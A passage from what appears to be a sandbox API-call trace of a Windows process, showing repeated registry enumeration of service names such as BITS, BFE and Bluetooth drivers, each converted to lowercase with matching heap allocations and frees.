cchName=0x104 | out: lpName="AxInstSV") returned 0x0 [0228.813] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.813] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0228.813] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0228.813] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x21f1cd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="axinstsv", lpUsedDefaultChar=0x0) returned 8 [0228.813] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.813] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0228.813] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.813] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.813] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x28, lpName=0x2152850, cchName=0x104 | out: lpName="b06bdrv") returned 0x0 [0228.813] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.813] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0228.813] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.813] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x21f1bf8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b06bdrv", lpUsedDefaultChar=0x0) returned 7 [0228.813] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0228.813] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.813] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0228.813] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.813] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x29, lpName=0x2152850, cchName=0x104 | out: lpName="b57nd60a") returned 0x0 [0228.814] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.814] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0228.814] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0228.814] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x21f1cd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b57nd60a", lpUsedDefaultChar=0x0) returned 8 [0228.814] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.814] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0228.814] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.814] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.814] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2a, lpName=0x2152850, cchName=0x104 | out: lpName="BattC") returned 0x0 [0228.814] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.814] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0228.814] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.814] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x21f1bf8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="battc", lpUsedDefaultChar=0x0) returned 5 [0228.814] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0228.814] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.814] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0228.814] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.814] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2b, lpName=0x2152850, cchName=0x104 | out: lpName="BDESVC") returned 0x0 [0228.814] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.814] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0228.814] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0228.814] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x21f1cd0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bdesvc", lpUsedDefaultChar=0x0) returned 6 [0228.814] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.814] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0228.814] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.814] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.814] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2c, lpName=0x2152850, cchName=0x104 | out: lpName="Beep") returned 0x0 [0228.814] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.814] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0228.814] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.814] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x21f1bf8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="beep", lpUsedDefaultChar=0x0) returned 4 [0228.815] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0228.815] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.815] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0228.815] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.815] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2d, lpName=0x2152850, cchName=0x104 | out: lpName="BFE") returned 0x0 [0228.815] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.815] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0228.815] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0228.815] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x21f1cd0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bfe", lpUsedDefaultChar=0x0) returned 3 [0228.815] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.815] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0228.815] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.815] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.815] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2e, lpName=0x2152850, cchName=0x104 | out: lpName="BITS") returned 0x0 [0228.815] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.815] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0228.815] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.815] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x21f1bf8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bits", lpUsedDefaultChar=0x0) returned 4 [0228.815] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0228.815] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.815] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0228.815] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.815] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2f, lpName=0x2152850, cchName=0x104 | out: lpName="blbdrive") returned 0x0 [0228.815] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.815] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0228.815] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0228.815] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x21f1cd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="blbdrive", lpUsedDefaultChar=0x0) returned 8 [0228.815] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.815] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0228.815] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.815] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.816] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x30, lpName=0x2152850, cchName=0x104 | out: lpName="bowser") returned 0x0 [0228.816] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.816] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0228.816] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.816] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x21f1bf8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bowser", lpUsedDefaultChar=0x0) returned 6 [0228.816] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0228.816] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.816] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0228.816] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.816] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x31, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltLo") returned 0x0 [0228.816] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.816] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0228.816] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0228.816] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x21f1cd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltlo", lpUsedDefaultChar=0x0) returned 8 [0228.816] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.816] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0228.816] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.816] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.816] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x32, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltUp") returned 0x0 [0228.816] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.816] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0228.816] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.816] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x21f1bf8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltup", lpUsedDefaultChar=0x0) returned 8 [0228.816] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0228.816] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.816] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0228.816] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.816] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x33, lpName=0x2152850, cchName=0x104 | out: lpName="Browser") returned 0x0 [0228.816] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.816] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0228.817] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0228.817] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x21f1cd0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="browser", lpUsedDefaultChar=0x0) returned 7 [0228.817] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.817] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0228.817] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.817] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.817] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x34, lpName=0x2152850, cchName=0x104 | out: lpName="Brserid") returned 0x0 [0228.817] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.817] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0228.817] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.817] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x21f1bf8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserid", lpUsedDefaultChar=0x0) returned 7 [0228.817] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0228.817] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.817] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0228.817] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.817] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x35, lpName=0x2152850, cchName=0x104 | out: lpName="BrSerWdm") returned 0x0 [0228.817] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.817] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0228.817] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0228.817] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x21f1cd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserwdm", lpUsedDefaultChar=0x0) returned 8 [0228.817] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.817] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0228.818] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.818] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.818] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x36, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbMdm") returned 0x0 [0228.818] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.818] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0228.818] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.818] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x21f1bf8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbmdm", lpUsedDefaultChar=0x0) returned 8 [0228.818] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0228.818] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.818] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0228.818] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.818] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x37, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbSer") returned 0x0 [0228.818] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.818] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0228.818] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0228.818] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x21f1cd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbser", lpUsedDefaultChar=0x0) returned 8 [0228.818] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.818] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0228.818] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.818] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.818] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x38, lpName=0x2152850, cchName=0x104 | out: lpName="BTHMODEM") returned 0x0 [0228.818] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.818] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0228.818] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.818] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x21f1bf8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthmodem", lpUsedDefaultChar=0x0) returned 8 [0228.818] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0228.818] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.818] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0228.818] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.818] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x39, lpName=0x2152850, cchName=0x104 | out: lpName="BTHPORT") returned 0x0 [0228.818] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.819] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0228.819] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0228.819] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x21f1cd0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthport", lpUsedDefaultChar=0x0) returned 7 [0228.819] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.819] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0228.819] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.819] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.819] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3a, lpName=0x2152850, cchName=0x104 | out: lpName="bthserv") returned 0x0 [0228.819] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.819] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0228.819] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.819] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x21f1bf8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthserv", lpUsedDefaultChar=0x0) returned 7 [0228.819] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0228.819] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.819] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0228.819] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.819] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3b, lpName=0x2152850, cchName=0x104 | out: lpName="cdfs") returned 0x0 [0228.819] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.819] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0228.819] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0228.819] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x21f1cd0, 